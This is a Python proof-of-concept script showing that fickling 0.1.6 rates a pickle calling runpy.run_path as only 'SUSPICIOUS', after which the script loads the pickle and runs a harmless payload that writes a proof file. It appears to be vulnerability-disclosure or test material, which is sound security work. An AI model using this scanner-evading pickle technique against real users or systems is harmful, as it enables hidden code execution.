Vulnerable code sample

import os
import pickle
import subprocess
import sys
import runpy

# Ensure the vulnerable version of fickling is installed
try:
    # Suppress output unless there is an error
    subprocess.run(
        [sys.executable, "-m", "pip", "install", "fickling==0.1.6"],
        check=True,
        capture_output=True,
        text=True
    )
except subprocess.CalledProcessError as e:
    print("Failed to install fickling==0.1.6. It might already be installed or there was a network issue.")
    print(f"Stderr: {e.stderr}")
    # Continue anyway, as the correct version might already be present
    pass

import fickling.analyzer

# Define filenames for the demonstration
PAYLOAD_FILE = "malicious_payload.py"
PICKLE_FILE = "vulnerable.pkl"
PROOF_FILE = "proof_of_execution.txt"

# 1. Create a malicious Python script that will be executed by the pickle.
#    This script creates a file to prove it ran.
payload_code = f"""
import os
print("[PAYLOAD] Malicious payload is executing...")
with open("{PROOF_FILE}", "w") as f:
    f.write("The payload was successfully executed.")
print(f"[PAYLOAD] Created '{PROOF_FILE}' as proof.")
"""
with open(PAYLOAD_FILE, "w") as f:
    f.write(payload_code)

# 2. Create a class whose pickled representation will call runpy.run_path.
#    The __reduce__ method is used by pickle to serialize/deserialize objects.
class Exploit:
    def __reduce__(self):
        # This tells pickle to call runpy.run_path with the payload file as an argument.
        return (runpy.run_path, (PAYLOAD_FILE,))

# 3. Create the malicious pickle file.
with open(PICKLE_FILE, "wb") as f:
    pickle.dump(Exploit(), f)

print(f"Created malicious pickle file: '{PICKLE_FILE}'")
print("-" * 40)

# 4. Analyze the pickle with the vulnerable version of fickling.
#    The vulnerability is that this is classified as SUSPICIOUS, not OVERTLY_MALICIOUS.
print("Analyzing the pickle with fickling==0.1.6...")
with open(PICKLE_FILE, "rb") as f:
    pickle_data = f.read()
    analysis = fickling.analyzer.analyze(pickle_data)

tag = analysis[0]['tag']
print(f"Fickling analysis result: {tag}")

if tag == 'SUSPICIOUS':
    print("\nVULNERABILITY DEMONSTRATED:")
    print("The pickle was classified as 'SUSPICIOUS' instead of 'OVERTLY_MALICIOUS'.")
    print("A user relying on Fickling might misinterpret this and load the pickle.")
else:
    print(f"\nDEMONSTRATION FAILED: Expected 'SUSPICIOUS', but got '{tag}'.")
    print("This might happen if a newer version of fickling is installed.")

print("-" * 40)

# 5. Demonstrate the danger by actually loading the pickle.
print("To show the risk, now loading the pickle...")
print("If the payload executes, it will create 'proof_of_execution.txt'.")

# Clean up any pre-existing proof file
if os.path.exists(PROOF_FILE):
    os.remove(PROOF_FILE)

# This is the dangerous action that a user might take.
with open(PICKLE_FILE, "rb") as f:
    # WARNING: This line executes the code defined in malicious_payload.py
    loaded_obj = pickle.load(f)

print("-" * 40)

# 6. Verify that the malicious code was executed.
if os.path.exists(PROOF_FILE):
    print(f"SUCCESS: The file '{PROOF_FILE}' was found, confirming code execution.")
else:
    print(f"FAILURE: The proof file '{PROOF_FILE}' was not found.")

# 7. Clean up the created files.
print("\nCleaning up generated files...")
for file_to_remove in [PAYLOAD_FILE, PICKLE_FILE, PROOF_FILE]:
    if os.path.exists(file_to_remove):
        os.remove(file_to_remove)
        print(f"Removed '{file_to_remove}'")